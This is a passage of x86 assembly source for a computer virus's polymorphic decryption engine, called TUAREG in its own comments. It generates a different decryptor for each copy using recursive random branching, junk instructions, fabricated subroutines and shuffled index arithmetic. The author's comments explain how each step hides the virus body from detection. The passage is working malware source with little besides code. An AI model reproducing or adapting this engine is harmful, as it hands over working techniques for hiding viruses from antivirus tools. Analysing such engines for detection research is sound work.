jbe @@OtherRegister
|
||
@@SelectAllForKey:
|
||
mov [ebp+KeyRegister], al
|
||
call SelectARegister
|
||
mov [ebp+Index1Register], al
|
||
call SelectARegister
|
||
mov [ebp+Index2Register], al
|
||
call SelectARegister
|
||
mov [ebp+BufferRegister], al
|
||
mov eax, dword ptr [ebp+Index1Register]
|
||
mov dword ptr [ebp+CopyOfUsedRegisters], eax ; Save a copy
|
||
|
||
cmp dword ptr [ebp+BssSection], 0
|
||
jz @@NoBssSection
|
||
|
||
call Random
|
||
and eax, 7Ch
|
||
add eax, [ebp+BssSection]
|
||
mov [ebp+ReservedBssAddress], eax ; Save a .bss address
|
||
jmp @@NextThing
|
||
@@NoBssSection:
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
add eax, offset SystemTime - offset Inic_Virus
|
||
mov [ebp+BssSection], eax
|
||
call Random
|
||
and eax, 7Ch
|
||
add eax, [ebp+BssSection]
|
||
mov [ebp+ReservedBssAddress], eax ; Get it from another
|
||
; place
|
||
@@NextThing:
|
||
mov eax, [ebp+EncryptedDataBeginAddress]
|
||
push eax
|
||
push eax
|
||
push eax
|
||
add eax, offset SystemTime - offset Inic_Virus
|
||
mov [ebp+Data1Section], eax
|
||
pop eax
|
||
add eax, offset Directory1 - offset Inic_Virus
|
||
mov [ebp+Data2Section], eax
|
||
pop eax
|
||
add eax, offset ArrayOfCalls1 - offset Inic_Virus
|
||
mov [ebp+Data3Section], eax
|
||
pop eax
|
||
add eax, offset CallsLevel1 - offset Inic_Virus
|
||
mov [ebp+Data4Section], eax ; Set some free frames for
|
||
; memory reads/writes. Later,
|
||
; the function SelectAnAddress will
|
||
; give an address from one of this
|
||
; frames to read or write freely.
|
||
mov ecx, 30h
|
||
@@LoopFillMemVars2:
|
||
mov dword ptr [ebp+4*ecx+ReservedMemVars_Addr-4], 0
|
||
mov byte ptr [ebp+ecx+ReservedMemVars_F-1], 0
|
||
loop @@LoopFillMemVars2
|
||
|
||
mov ecx, 30h
|
||
@@LoopFillMemVars:
|
||
call SelectAnAddressLow
|
||
mov [ebp+4*ecx+ReservedMemVars_Addr-4], ebx
|
||
loop @@LoopFillMemVars
|
||
|
||
call Random
|
||
and eax, Virus_SizePOW2 - 4
|
||
mov [ebp+InitialValue], eax ; Set initial value of the
|
||
; Index2
|
||
|
||
;; Let's create all the information for every created branch
|
||
mov esi, [ebp+AddressOfTuaregStackFrame]
|
||
mov ecx, 10h
|
||
@@LoopGetLocalFlags:
|
||
call Random ; Get local flags
|
||
mov dword ptr [esi], eax
|
||
test byte ptr [esi], 2
|
||
jz @@DontRepeatFlag
|
||
test byte ptr [esi], 4
|
||
jnz @@LoopGetLocalFlags
|
||
@@DontRepeatFlag:
|
||
push ecx
|
||
mov ecx, 8
|
||
xor eax, eax
|
||
@@LoopFillSubroutineAddresses:
|
||
mov [esi+4*ecx], eax
|
||
loop @@LoopFillSubroutineAddresses
|
||
pop ecx
|
||
add esi, 40h
|
||
loop @@LoopGetLocalFlags
|
||
|
||
push dword ptr [ebp+TouchedRegisters]
|
||
push dword ptr [ebp+TouchedRegisters+4]
|
||
mov dword ptr [ebp+TouchedRegisters], 01010101h
|
||
mov dword ptr [ebp+TouchedRegisters+4], 01010101h
|
||
call PreCreateCALLs
|
||
mov eax, edi
|
||
sub eax, [ebp+DecryptorBeginAddress]
|
||
mov [ebp+EPAddition], eax
|
||
pop dword ptr [ebp+TouchedRegisters+4]
|
||
pop dword ptr [ebp+TouchedRegisters]
|
||
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
lea ebx, [ebp+offset SetIndex1Register]
|
||
lea ecx, [ebp+offset SetIndex2Register]
|
||
lea edx, [ebp+offset SetKeyRegister]
|
||
lea esi, [ebp+offset DoRandomGarbage]
|
||
call RandomCalling ; Set initial register values
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
mov byte ptr [ebp+BifurcationNumber], 0 ; Set bifurcation
|
||
; to 0 (since it's the start)
|
||
mov byte ptr [ebp+BranchIdentifier], 0
|
||
|
||
call Branching ; Call the mighty function that TUAREG bases
|
||
; its power on :)
|
||
|
||
;; Once we return from Branching, we have a huge monstruous decryptor cons-
|
||
;; tructed, with 15 possible addresses to loop and do the same but with diffe-
|
||
;; rent addresses and code (or to arrive again to the same place, it's nearly
|
||
;; unpredictable (anarchic relentless... :P).
|
||
mov edx, [ebp+JumpsToCompleteNdx]
|
||
shr edx, 2 ; EDX=number of jumps to complete
|
||
mov ecx, [ebp+JumpingArrayNdx]
|
||
shr ecx, 2 ; ECX=Number of addresses available to jump.
|
||
; I know the value of this registers (EDX=10h
|
||
; and ECX=0Fh), but in the future maybe it'll
|
||
; be random, so I coded it already in this
|
||
; manner.
|
||
@@CompleteJumps:
|
||
dec edx ; Have we finished with jumps?
|
||
js @@Completed ; Then, exit
|
||
mov esi, [4*edx+ebp+JumpsToComplete]
|
||
lea ebx, [esi+4]
|
||
@@OtherJump:
|
||
call Random ; Get a random address to jump
|
||
and eax, 0Fh
|
||
cmp eax, ecx
|
||
jae @@OtherJump
|
||
sub ebx, [4*eax+ebp+JumpingArray] ; Subtract the address
|
||
neg ebx ; to jump with the address of the jump
|
||
; itself...
|
||
mov [esi], ebx ; ...and complete the jump opcode
|
||
jmp @@CompleteJumps ; Repeat
|
||
|
||
@@Completed:
|
||
add esp, 1000h ; Restore ESP and release stack frame
|
||
popad ; Finish TUAREG...
|
||
ret ; ...and return to reality :( :P
|
||
Tuareg endp
|
||
|
||
;; This function is the branch generator (and it's auto-callable).
|
||
Branching proc
|
||
inc byte ptr [ebp+BifurcationNumber] ;Increase bifurcation
|
||
cmp byte ptr [ebp+BifurcationNumber], 5 ; Have we coded
|
||
; 4 in this stream?
|
||
jz @@InsertFunctionalCode ; If so, insert decryption code
|
||
|
||
mov eax, [ebp+JumpingArrayNdx] ; Insert this address into
|
||
mov [ebp+eax+JumpingArray], edi ; the jumping array. Later
|
||
add eax, 4 ; we can jump to here ran-
|
||
mov [ebp+JumpingArrayNdx], eax ; domly.
|
||
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
call RandomFlags ; Make a random comparision with a
|
||
jz @@Instruct_2 ; random register. We want to jump
|
||
js @@CMP ; very randomly, so we select some
|
||
; quite unpredictable jumps like TEST
|
||
; Reg,PowerOf2/J(N)Z NextBranch, and
|
||
; things like that
|
||
@@TEST: call Random ; TEST Reg,PowerOf2
|
||
and al, 1Fh ; A power of two has only a bit set in all
|
||
mov cl, al ; the number, so we get a random between 0
|
||
mov edx, 1 ; and 32 and SHL 1 by that number. Since
|
||
shl edx, cl ; it's only a bit and we check that bit
|
||
call SelectARegister ; from a garbage register, it can be
|
||
mov ah, al ; set or clear, so we make J(N)Z and we
|
||
or al, al ; won't know which branch the execution is
|
||
jz @@TEST_EAX ; going to take.
|
||
mov al, 0F7h
|
||
or ah, 0C0h
|
||
stosw
|
||
mov eax, edx
|
||
stosd
|
||
jmp @@BitComparision ; Jump to there to set only JZ/JNZ
|
||
@@TEST_EAX:
|
||
mov al, 0A9h ; Set TEST EAX,xxx opcode (it's very sus-
|
||
stosb ; picious to have a TEST EAX with the gene-
|
||
mov eax, edx ; ral opcode
|
||
stosd
|
||
jmp @@BitComparision
|
||
|
||
@@CMP: call RandomFlags ; Compare register...
|
||
jz @@CMP_Reg ; ...with a register
|
||
@@CMP_Value: ; or with a value. In this case, the
|
||
call SelectARegister ; value is random, so the conditional
|
||
cmp al, 7 ; jump is random too. I avoid the JZ/
|
||
jz @@CMP_EAX_Value ; JNZ because they only work when the
|
||
mov dl, al ; value is exact. Instead of that, I
|
||
mov ax, 0F881h ; use JA, JB, JG, JLE, etc.
|
||
add ah, dl
|
||
stosw
|
||
jmp @@CMP_01
|
||
@@CMP_EAX_Value: ; Set CMP EAX,xxx opcode.
|
||
mov al, 3Dh
|
||
stosb
|
||
@@CMP_01: call Random
|
||
stosd
|
||
jmp @@AbsoluteComparision ; Jump to here to select other
|
||
; type of jumps, different from
|
||
; BitComparision
|
||
@@CMP_Reg:
|
||
call Random ; Compare with register. It's the same
|
||
and ax, 0707h ; as a value, but we set a random regis-
|
||
cmp ah, al ; ter, avoiding the same one.
|
||
jz @@CMP_Reg
|
||
shl al, 3
|
||
or ah, al
|
||
or ah, 0C0h
|
||
mov al, 39h ; CMP opcode
|
||
stosw ; Store instruction
|
||
jmp @@AbsoluteComparision ; jump to there
|
||
|
||
@@Instruct_2: ; Another type of random comparision. We
|
||
call SelectARegister ; do OR Reg,Reg or AND Reg,Reg and
|
||
mov dl, al ; we jump with JS/JNS.
|
||
mov dh, al
|
||
call RandomFlags
|
||
jz @@AND
|
||
@@OR: mov al, 09h ; OR opcode
|
||
jmp @@Inst2_2
|
||
@@AND: mov al, 21h ; AND opcode
|
||
@@Inst2_2: mov ah, 0C0h ;Set second opcode with "Register mode"
|
||
jc @@Inst2_3 ; Use random flag (already unchanged)
|
||
add al, 2 ; Use alternative opcode (since the register
|
||
; is the same, we don't care anymore)
|
||
@@Inst2_3: shl dl, 3 ; Set the selected register to the second op.
|
||
or ah, dh
|
||
or ah, dl
|
||
stosw ; Store instruction
|
||
@@AbsoluteComparision2:
|
||
; JS, JNS
|
||
xor ecx, ecx
|
||
call RandomFlags
|
||
setnz cl ; JS, JNS
|
||
@@InsertCJmp: mov ah, byte ptr [ebp+ecx+Op_CJumps] ; Get the selected
|
||
; jump from the table
|
||
@@InsertCJmp2: mov al, 0Fh ; Since the branches are going to take quite
|
||
stosw ; more size than 128 bytes, we use 32 bits
|
||
; conditional jumps.
|
||
push edi ; Save in stack the address of this jump
|
||
stosd ; Make space for the displacement of the jump
|
||
; (for later calculation)
|
||
jmp @@NextBranch ; Code next branches (one following this
|
||
; code and another where the jump will jump
|
||
; randomly)
|
||
@@BitComparision:
|
||
xor ecx, ecx
|
||
call RandomFlags
|
||
setnz cl
|
||
add ecx, 0Ah ; JZ, JNZ
|
||
jmp @@InsertCJmp ; It's clear, I think (it's the same as
|
||
; before)
|
||
@@AbsoluteComparision: ; CMP
|
||
call Random ; Select one of the following conditional
|
||
and eax, 0Fh ; jumps:
|
||
cmp al, 0Ah ; JS, JNS, JB, JBE, JA, JAE, JG, JL, JGE, JLE
|
||
jae @@AbsoluteComparision
|
||
mov ah, byte ptr [ebp+eax+Op_CJumps]
|
||
jmp @@InsertCJmp2
|
||
|
||
;; After coding the random-behaviour conditional jump, we arrive here. This
|
||
;; code will call recursively the function we are in until the number of bi-
|
||
;; furcations in the branch arrives to 5, moment when we'll code the decryp-
|
||
;; tion instructions, the index checks and all that.
|
||
@@NextBranch: call Branching ; Code left branch of the jump (the NO-JUMP
|
||
; condition)
|
||
pop ebx ; Pop from stack the address where the dis-
|
||
; placement of the jump coded before is.
|
||
mov ecx, edi ; Calculate the distance of the jump
|
||
sub ecx, ebx
|
||
sub ecx, 4
|
||
mov [ebx], ecx ; Complete the jump
|
||
call Branching ; Calculate the right branch (the JUMP con-
|
||
; dition)
|
||
dec byte ptr [ebp+BifurcationNumber] ; Decrease the number
|
||
; of bifurcations, since we are going to
|
||
; exit from the function Branching (to
|
||
; return to another run of Branching or
|
||
; return completely to function Tuareg).
|
||
ret ; Return!
|
||
|
||
;; When we reach the level 5 of recursivity in this function (Branching), then
|
||
;; the "functional code" (decryption instructions, indexes modifications, the
|
||
;; loop check and the jump to the decrypted part is inserted, and moreover the
|
||
;; code of thesubroutines created until this moment).
|
||
|
||
@@InsertFunctionalCode:
|
||
movzx eax, byte ptr [ebp+BranchIdentifier]
|
||
shl eax, 6 ; *40h
|
||
add eax, dword ptr [ebp+AddressOfTuaregStackFrame]
|
||
mov [ebp+TuaregFlags], eax
|
||
|
||
dec byte ptr [ebp+BifurcationNumber] ; Decrease the recur-
|
||
; sivity level for the returning
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage
|
||
test byte ptr [ebp+TuaregFlags], 6 ;Use of buffer register?
|
||
;(bits 1-2=00)
|
||
jnz @@NoBufferReg ; If not, jump
|
||
;; With buffer register
|
||
xor edx, edx
|
||
mov dl, [ebp+BufferRegister] ; Get buffer register in DL
|
||
mov byte ptr [ebp+edx+TouchedRegisters], 1 ; Set it as
|
||
; "touched"
|
||
test byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
|
||
jnz @@XchgNdxs1 ; Please do
|
||
mov dh, [ebp+Index1Register] ; Use Index1 in DH
|
||
jmp @@IFC_01
|
||
@@XchgNdxs1: mov dh, [ebp+Index2Register] ; Use Index2 in DH
|
||
@@IFC_01: call DoMOVRegReg ; Make MOV BufferReg,IndexXReg (or
|
||
call DoRandomGarbage ; similar) and some garbage
|
||
call DoRandomGarbage
|
||
mov dl, [ebp+BufferRegister] ; DL=Buffer register
|
||
test byte ptr [ebp+TuaregFlags], 8 ; Exchange Index1 and 2?
|
||
jnz @@XchgNdxs2 ; Please do
|
||
mov dh, [ebp+Index2Register] ; Use Index2 in DH
|
||
jmp @@IFC_02
|
||
@@XchgNdxs2: mov dh, [ebp+Index1Register] ; Use Index1 in DH
|
||
@@IFC_02: call DoXORRegReg ; Do XOR BufferReg,IndexXReg (the
|
||
; IndexX that wasn't used before)
|
||
call DoRandomGarbage ; Do garbage
|
||
call DoRandomGarbage
|
||
call InsertDecryption ; Put the decryption instruction
|
||
jmp @@IFC_Next_02 ; Continue
|
||
|
||
@@NoBufferReg: test byte ptr [ebp+TuaregFlags], 2 ; Which action?
|
||
jnz @@DoubleXORing ; Then, double XORing
|
||
|
||
;; We make: PUSH Index2/XOR Index2,Index1/Decrypt using Index2/POP Index2
|
||
@@PUSHPOPIndex2:
|
||
mov al, 50h
|
||
add al, byte ptr [ebp+Index2Register]
|
||
stosb ; PUSH Index2
|
||
call DoRandomGarbage ; Make garbage
|
||
call Patch1 ; XOR the Index2 with the Index1 and
|
||
; insert the decryption code, mixed
|
||
; with lots of garbage
|
||
mov al, 58h
|
||
add al, byte ptr [ebp+Index2Register]
|
||
stosb ; Insert POP Index2
|
||
jmp @@IFC_Next_02 ; Continue
|
||
|
||
;; We make: XOR Index2,Index1/Decrypt using Index2/XOR Index2,Index1 (to res-
|
||
;; tore the value)
|
||
@@DoubleXORing:
|
||
call DoRandomGarbage ; Make garbage
|
||
call Patch1 ; XOR Index2 with Index1, insert the
|
||
; decryption instruction and mix it
|
||
; with garbage
|
||
mov dh, [ebp+Index1Register]
|
||
mov dl, [ebp+Index2Register]
|
||
call DoXORRegReg ; XOR again Index2 with Index1
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoRandomGarbage
|
||
|
||
@@IFC_Next_02:
|
||
;; Now we have to modify Index1 and Index2. Since we can code it interleaved
|
||
;; (each modification is composed of two main instructions) the less difficult
|
||
;; way to code that is making this. The modification of Index1 is adding a
|
||
;; random multiple-of-8 value. The modification of Index2 is adding a random
|
||
;; value between 4 and 7. The masking of Index1 is making the instruction
|
||
;; AND Index1,Virus_SizePOW2-4, and so is the masking of Index2.
|
||
;; Little maths: Since Index1 and Index2 are a random number between 0 and
|
||
;; Virus_SizePOW2, when we add a number to them less than Virus_SizePOW2 (as
|
||
;; it's the case), the resulting number never will be more than the double of
|
||
;; Virus_SizePOW2, so the immediate bit above the highest bit set on
|
||
;; Virus_SizePOW2-4 (in this case, due to the fact that Virus_SizePOW2-4 is
|
||
;; 7FFCh) is the bit 15. So, if we put in a dword Virus_SizePOW2 - 4 (7FFCh)
|
||
;; and we left the bit 15 cleared, we can have the rest of bits (16 to 31) set
|
||
;; to a random state, due to the fact that in Index1 and Index2 are going to
|
||
;; be always 0. This is a manner of making a confusion of this instruction
|
||
;; with the garbage ones, since it's a working mask, but it's random in a
|
||
;; great part of the whole dword.
|
||
;; So, we select a combination. Between the modification and the masking we
|
||
;; insert lots of garbage (as always).
|
||
call Random
|
||
and eax, 7
|
||
jz @@Combination0
|
||
cmp al, 2
|
||
jb @@Combination1
|
||
jz @@Combination2
|
||
cmp al, 4
|
||
jb @@Combination3
|
||
jz @@Combination4
|
||
cmp al, 6
|
||
jae @@IFC_Next_02 ; Select up to 6 combinations
|
||
@@Combination5: call ModifyIndex2 ; comb 5: Modify Index2, Modify Index1,
|
||
call ModifyIndex1 ; Mask Index1, Mask Index2
|
||
jmp @@SubComb1
|
||
@@Combination0: call ModifyIndex1 ; comb 0: Modify Index1, Modify Index2,
|
||
call ModifyIndex2 ; Mask Index1, Mask Index2
|
||
@@SubComb1: call MaskIndex1
|
||
call MaskIndex2
|
||
jmp @@IFC_Next_03
|
||
@@Combination1: call ModifyIndex1 ; Comb 1: Modify Index1, Mask Index1,
|
||
call MaskIndex1 ; Modify Index2, Mask Index2
|
||
call ModifyIndex2
|
||
call MaskIndex2
|
||
jmp @@IFC_Next_03
|
||
@@Combination2: call ModifyIndex1 ; Comb 2: Modify Index1, Modify Index2,
|
||
call ModifyIndex2 ; Mask Index2, Mask Index1
|
||
jmp @@SubComb2
|
||
@@Combination3: call ModifyIndex2 ; Comb 3: Modify Index2, Mask Index2,
|
||
call MaskIndex2 ; Modify Index1, Mask Index1
|
||
call ModifyIndex1
|
||
call MaskIndex1
|
||
jmp @@IFC_Next_03
|
||
@@Combination4: call ModifyIndex2 ; Comb 4: Modify Index2, Modify Index1,
|
||
call ModifyIndex1 ; Mask Index2, Mask Index1
|
||
@@SubComb2: call MaskIndex2
|
||
call MaskIndex1
|
||
|
||
;; When we arrive here, the code to decrypt is already coded. Now we have to
|
||
;; test if we decrypted all the virus body or we have to continue decrypting.
|
||
@@IFC_Next_03:
|
||
call DoCMP ; Do a CMP Index2,InitialValue (or similar)
|
||
call RandomFlags ; JNZ to loop or JZ/JMP?
|
||
jz @@MakeJZ ; Jump to use JZ
|
||
; We make: JNZ Loop
|
||
mov ax, 850Fh ; Insert a JNZ.
|
||
stosw ; Store the opcode of JNZ
|
||
@@CompleteJZ_JNZ:
|
||
mov eax, [ebp+JumpsToCompleteNdx]
|
||
mov [ebp+eax+JumpsToComplete], edi ; Insert the jump
|
||
add edi, 4 ; address and increase
|
||
add eax, 4 ; the index
|
||
mov [ebp+JumpsToCompleteNdx], eax
|
||
call DoRandomGarbage
|
||
call DoRandomGarbage ; Make garbage
|
||
call DoFinalJMP ; Make the jump to the decrypted part
|
||
jmp @@ContinueWithFunctionalCode
|
||
; We make: JZ Etiq1 / Garbage / JMP Loop / Etiq1: xxx
|
||
@@MakeJZ: mov al, 74h ; Store the opcode of JZ (short)
|
||
stosb
|
||
inc edi ; Make size for displacement
|
||
@@MakeJZ_000:
|
||
push dword ptr [ebp+CallsLevel1Ndx] ; Save CALLs indexes
|
||
push dword ptr [ebp+CallsLevel2Ndx] ; just in case we have
|
||
push dword ptr [ebp+CallsLevel3Ndx] ; to repeat the garbage
|
||
; making
|
||
jmp @@MakeJZ_001 ; Jump to continue
|
||
@@MakeJZ_003:
|
||
sub edi, 5 ; Eliminate the size of the "JMP Loop"
|
||
@@MakeJZ_001:
|
||
mov esi, edi ; Save current insertion address
|
||
call DoRandomGarbage ; Make garbage
|
||
add edi, 5 ; Add jump size
|
||
sub esi, edi ; Get the size of displacement for JZ
|
||
neg esi
|
||
cmp esi, 5 ; Displacement = size of JMP?
|
||
jbe @@MakeJZ_003 ; If it is, repeat (no garbage made)
|
||
cmp esi, 7Fh ; under the maximum displacement?
|
||
jbe @@MakeJZ_OK ; If it's below or equal, jump
|
||
pop dword ptr [ebp+CallsLevel3Ndx] ; We have to repeat the
|
||
pop dword ptr [ebp+CallsLevel2Ndx] ; garbage (too many),
|
||
pop dword ptr [ebp+CallsLevel1Ndx] ; so we restore the in-
|
||
; dexes of the calls to eliminate any
|
||
; posible call made during this garbage
|
||
; creation
|
||
sub edi, esi ; Restore EDI
|
||
jmp @@MakeJZ_000 ; Jump and loop
|
||
@@MakeJZ_OK: pop eax ; Eliminate the saved call indexes, since
|
||
pop eax ; the garbage is made correctly
|
||
pop eax
|
||
mov eax, esi ; Get the displacement in EAX
|
||
neg esi ; Get the index adding in ESI
|
||
mov byte ptr [edi+esi-1], al ; Complete the JZ
|
||
sub edi, 5 ; Make the JMP
|
||
mov al, 0E9h ; Opcode of JMP
|
||
stosb ; Store the opcode
|
||
jmp @@CompleteJZ_JNZ ; Jump to save the address for later
|
||
; completion
|
||
|
||
;; Since the function Branching is recursive, after this code will be other
|
||
;; branches and "functional code". This means that if we put in this point the
|
||
;; subroutines that we want to create, they'll be between code, not at the
|
||
;; beginning or at the end of the decryptor, technique that increases the
|
||
;; polymorphysm of the engine alot.
|
||
|
||
@@ContinueWithFunctionalCode:
|
||
xor ecx, ecx
|
||
call CompleteCalls ; Complete calls of level 1
|
||
mov ecx, 84h
|
||
call CompleteCalls ; Complete calls of level 2
|
||
mov ecx, 84h*2
|
||
call CompleteCalls ; Complete calls of level 3
|
||
|
||
@@Completed:
|
||
mov dword ptr [ebp+CallsLevel1Ndx], 0 ; Release must-be-
|
||
mov dword ptr [ebp+CallsLevel2Ndx], 0 ; created calls
|
||
mov dword ptr [ebp+CallsLevel3Ndx], 0
|
||
|
||
mov byte ptr [ebp+GarbageRecursivity], 0 ; Clear garbage
|
||
; recursivity set on the func-
|
||
; tion CompleteCalls
|
||
inc byte ptr [ebp+BranchIdentifier]
|
||
ret ; Return from the Branch
|
||
Branching endp
|
||
|
||
;; Conditional jumps table
|
||
Op_CJumps db 88h, 89h, 82h, 86h, 87h, 83h, 8Fh, 8Ch, 8Dh, 8Eh, 84h, 85h
|
||
;; JS, JNS, JB, JBE, JA, JAE, JG, JL, JGE, JLE, JZ, JNZ
|
||
|
||
ArrayOfCalls1 dd 20h dup (0) ; Place to put the addresses to the
|
||
ArrayOfCalls1Ndx dd 0 ; created subroutines. There are three
|
||
ArrayOfCalls2 dd 20h dup (0) ; levels, being the first level callable
|
||
ArrayOfCalls2Ndx dd 0 ; from the first recursivity level of
|
||
ArrayOfCalls3 dd 20h dup (0) ; garbage, and so on. Once in a subrouti-
|
||
ArrayOfCalls3Ndx dd 0 ; ne they only can call a subroutine of
|
||
; a higher level, to avoid inter-calls
|
||
; that would make the decryptor to not
|
||
; work (CALL_1 calls internally to CALL_2
|
||
; and CALL_2 calls CALL_1, for example).
|
||
DoNormalCall db 0 ; This flag puts at the beginning of the call the
|
||
; instructions PUSH EBP/MOV EBP,ESP, simulating the
|
||
; creation of a stack frame. In this version of the
|
||
; TUAREG isn't used, but externally seems a high
|
||
; level function.
|
||
CallsLevel1 dd 20h dup (0) ; This variables are used to store the
|
||
CallsLevel1Ndx dd 0 ; address in the being-constructed de-
|
||
CallsLevel2 dd 20h dup (0) ; cryptor where a CALL is. Later, when
|
||
CallsLevel2Ndx dd 0 ; the branch is finished, we determine
|
||
CallsLevel3 dd 20h dup (0) ; randomly if we use an already created
|
||
CallsLevel3Ndx dd 0 ; subroutine or we create a new one.
|
||
|
||
;; This function completes the CALLs pointed by the addresses in the arrays
|
||
;; above. Depending on the level of recursivity, we stored the address of that
|
||
;; CALL instruction in one of the levels. When we call to this function, de-
|
||
;; pending on the value in ECX, we complete them pointing to a created subrou-
|
||
;; tine (stored in ArrayOfCallsX) or we create a new subroutine and store the
|
||
;; address to that new one into ArrayOfCallsX.
|
||
;; ECX=0 for Calls level 1, ECX=84h for Calls level 2, ECX=84h*2 for level 3
|
||
CompleteCalls proc
|
||
mov edx, [ebp+ecx+CallsLevel1Ndx]
|
||
shr edx, 2 ; Get the number of calls to complete
|
||
push ecx
|
||
and cl, 0Fh
|
||
shr cl, 2
|
||
inc ecx
|
||
mov byte ptr [ebp+GarbageRecursivity], cl ;Set the garbage
|
||
; recursivity (calls of level
|
||
; 3 can't do any CALL, to
|
||
; avoid too much recursivity)
|
||
pop ecx
|
||
@@CompleteCalls:
|
||
dec edx ; Have we completed all the calls?
|
||
js @@Completed ; If yes, we end
|
||
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 0 ; Are there
|
||
; any created subroutine?
|
||
jz @@CreateCall ; If not, create a new one directly
|
||
call RandomFlags ; Get random flags
|
||
jz @@CreateCall ; Create a call with a 50% of probability
|
||
@@AnotherRandom:
|
||
call Random
|
||
and eax, 3Ch
|
||
cmp eax, [ebp+ecx+ArrayOfCalls1Ndx]
|
||
jae @@AnotherRandom ; Get a random address from the list
|
||
; of created subroutines
|
||
add ebp, ecx
|
||
mov esi, [4*edx+ebp+CallsLevel1]
|
||
lea ebx, [esi+4]
|
||
sub ebx, [ebp+eax+ArrayOfCalls1]
|
||
neg ebx ; EBX=Displacement from the created subrou-
|
||
; tine to the CALL instruction
|
||
mov [esi], ebx ; Complete CALL
|
||
sub ebp, ecx ; Restore delta offset
|
||
jmp @@CompleteCalls ; Loop
|
||
|
||
@@CreateCall:
|
||
cmp dword ptr [ebp+ecx+ArrayOfCalls1Ndx], 80h ; If there are
|
||
jz @@AnotherRandom ; too much created subroutines, jump
|
||
; to use any created one
|
||
add ebp, ecx
|
||
mov esi, [4*edx+ebp+CallsLevel1] ; Get the address to the
|
||
lea ebx, [esi+4] ; CALL to complete
|
||
sub ebx, edi
|
||
neg ebx
|
||
mov [esi], ebx
|
||
sub ebp, ecx
|
||
|
||
call CreateCALL
|
||
|
||
jmp @@CompleteCalls ; Loop
|
||
@@Completed:
|
||
ret ; Return from function
|
||
CompleteCalls endp
|
||
|
||
CreateCALL proc
|
||
add ebp, ecx ; Fix delta offset (we can't put three
|
||
; registers inside the brackets :P)
|
||
mov ebx, [ebp+ArrayOfCalls1Ndx]
|
||
mov [ebp+ebx+ArrayOfCalls1], edi ; Now, set the address of
|
||
add ebx, 4 ; storage (EDI) into the array
|
||
mov [ebp+ArrayOfCalls1Ndx], ebx ; of created subroutines
|
||
sub ebp, ecx ; Restore delta offset
|
||
@@AgainCalls: call RandomFlags
|
||
jz @@NormalCall
|
||
js @@NormalCall ; Simulate a stack frame with a 25% of
|
||
; probability
|
||
cmp byte ptr [ebp+KeyRegister], 5
|
||
jz @@NormalCall
|
||
mov byte ptr [ebp+DoNormalCall], 0
|
||
mov al, 55h ; Insert PUSH EBP/MOV EBP,ESP
|
||
stosb
|
||
mov ax, 0EC8Bh
|
||
stosw
|
||
jmp @@NotNormalCall
|
||
@@NormalCall:
|
||
mov byte ptr [ebp+DoNormalCall], 1
|
||
@@NotNormalCall:
|
||
mov esi, edi ; ESI=Address of storage
|
||
; cmp byte ptr [ebp+GarbageRecursivity], 2
|
||
; jnz @@SetNormalGarbage
|
||
; mov byte ptr [ebp+SpecialGarbage], 1
|
||
; jmp @@ContinueWithCALLContents
|
||
@@SetNormalGarbage:
|
||
mov byte ptr [ebp+SpecialGarbage], 0
|
||
@@ContinueWithCALLContents:
|
||
call DoRandomGarbage ; Make a lot of garbage inside the
|
||
call DoRandomGarbage ; subroutine (included CALLs to other
|
||
call DoRandomGarbage ; subroutines, depending on the re-
|
||
call DoRandomGarbage ; cursivity level)
|
||
mov byte ptr [ebp+SpecialGarbage], 0
|
||
cmp esi, edi ; Test if EDI has grown (void subrou-
|
||
; tine)
|
||
jz @@NotNormalCall ;If it's void, repeat garbage generation
|
||
cmp byte ptr [ebp+DoNormalCall], 1
|
||
jz @@EndCall ; If there is a stack frame simulation...
|
||
mov al, 5Dh ; ...store POP EBP
|
||
stosb
|
||
@@EndCall: mov al, 0C3h
|
||
stosb ; Store RET
|
||
ret
|
||
CreateCALL endp
|
||
|
||
PreCreateCALLs proc
|
||
xor ecx, ecx
|
||
mov eax, 10h
|
||
mov byte ptr [ebp+GarbageRecursivity], 1
|
||
@@MakeAnother:
|
||
push eax
|
||
call RandomFlags
|
||
jz @@DontMake
|
||
call CreateCALL
|
||
@@DontMake: pop eax
|
||
dec eax
|
||
jnz @@MakeAnother
|
||
mov byte ptr [ebp+GarbageRecursivity], 0
|
||
ret
|
||
PreCreateCALLs endp
|
||
|
||
BifurcationNumber db 0 ; Number of recursivity for the function Branching
|
||
SpecialGarbage db 0
|
||
|
||
|
||
JumpingArray dd 10h dup (0) ; Array of possible target addresses to
|
||
JumpingArrayNdx dd 0 ; jump randomly to loop
|
||
JumpsToComplete dd 10h dup (0) ; Array where the looping jump addresses
|
||
JumpsToCompleteNdx dd 0 ; are stored for later completion
|
||
|
||
TouchedRegisters db 9 dup (0) ; Flags of "touched", for registers
|
||
|
||
;; This address selects any register which isn't ESP. If the selected register
|
||
;; hasn't the "touched" flag actived, the register is initialized with DoMOV
|
||
;; using a random value. Moreover, the function (as SelectARegister and
|
||
;; SelectARegisterWithInit) saves the last register returned, so the next call
|
||
;; to this functions won't return the same register as the time before.
|
||
SelectAnyRegisterWithInit proc
|
||
@@Other: call Random
|
||
and al, 7
|
||
cmp al, 4
|
||
jz @@Other
|
||
cmp al, byte ptr [ebp+RegisterSelectedB4]
|
||
jz @@Other ; Select a random between 0 and 7 with isn't
|
||
; ESP nor the last selected register
|
||
SelectReg_Common:
|
||
and eax, 0FFh
|
||
cmp byte ptr [ebp+eax+TouchedRegisters], 1
|
||
jz @@OK ; If the register is "touched", jump
|
||
cmp byte ptr [ebp+KeyRegister], al
|
||
jz @@Other
|
||
push edx
|
||
push eax
|
||
mov dl, al
|
||
call Random
|
||
call DoMOV ; Initialize the register with a random value
|
||
pop eax
|
||
pop edx
|
||
mov byte ptr [ebp+eax+TouchedRegisters], 1 ; Set the reg.
|
||
; as "touched"
|
||
@@OK: mov byte ptr [ebp+RegisterSelectedB4], al ; Save it as the
|
||
; "selecter before"
|
||
ret ; Return
|
||
SelectAnyRegisterWithInit endp
|
||
|
||
RegisterSelectedB4 db 0 ; Place where we save the last selected
|
||
; register
|
||
|
||
;; This function selects a register which is not Index1, Index2, Key or
|
||
